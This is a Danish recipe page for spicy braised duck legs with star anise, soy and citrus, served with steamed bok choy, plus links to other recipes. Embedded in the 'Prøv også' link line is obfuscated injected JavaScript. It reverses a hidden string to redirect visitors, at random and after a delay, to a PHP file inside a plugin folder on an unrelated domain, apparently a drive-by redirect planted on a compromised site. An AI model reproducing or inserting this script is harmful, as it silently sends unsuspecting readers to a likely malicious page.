Paul Cunninghams spicy duck med bok choy

De store andelår skal helst ligge i sin krydrede marinade i to døgn, før de kommer i ovnen. Tre timer skal de have i en stor jerngryde med låg, men så er de også nærmest blevet karamelliserede med en fantastisk smag af lakrids fra stjerneanis og salt, sødt og surt. Marinaden forvandles til en smagseksplosion af en sauce, som med garanti tilfredsstiller alle smagsbehov. Du kan selv variere antallet af chilier i retten alt efter, hvor stærk du vil have den.

Opskrift til 2 meget sultne eller 4 alm. sultne pers.

Marinade:
2 hele hvidløg, flækket på tværs
8 hele stjerneanis
4 kanelstænger
4 hele røde chilier, flækket en gang på langs
5 cm frisk ingefær, skåret i skiver
2 dl hvidvinseddike
2 dl soja
½ dl ristet sesamolie
2 spsk tomatpure
2 økologiske appelsiner, skal og saft af
2 økologiske citroner, skal og saft af
200 g honning

4 store andelår
1 stor jerngryde, som kan gå i ovnen

Ca. 4 bok choy* pr. pers.
Bagepapir

Prøv også $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and/”>Grillet and til julemaden

Bland marinaden rigtigt godt. Læg andelårene deri, og lad dem marinere i køleskabet i 1-2 døgn. Sæt gryden i ovnen ved 160 grader med låget på i 3 timer, indtil kødet er helt glaseret og mahognifarvet.
Skyl bok choy-kålene. Hæld en dl vand i en sauterpande uden salt, og bring i kog. Læg bok choy på, og dæk med bagepapir, og lad det koge i ca. 3 min. Hæld vandet fra, og server andelårene med den letdampede kål og evt. dampede ris til.

* Bok choy er en mild kål, der kan fås hos de fleste asiatiske købmænd. Kan evt. erstattes med babyspinat.

Trends

Populære artikler

Passioncake

Konditoren Nikolaos Strangas oplever, at mange vælger at spise sushi nytårsaften. Efter sådan et måltid er denne cremede kage med et syrligt pift af passionsfrugt

Læs mere

Syltede oliven og oste

Det er desværre de færreste, som kan få fat på helt friskhøstede oliven, så denne opskrift bruger forskellige slags oliven på glas, der vendes med

Læs mere

Macarons med kaffeganache

En af dessertkunstneren Nikolaos Strangas’ absolutte hitkager er macarons: Små franske makroner med fyld af fx mynte- eller jordbærganache. Det er lykkedes MAD&venner at lokke

Læs mere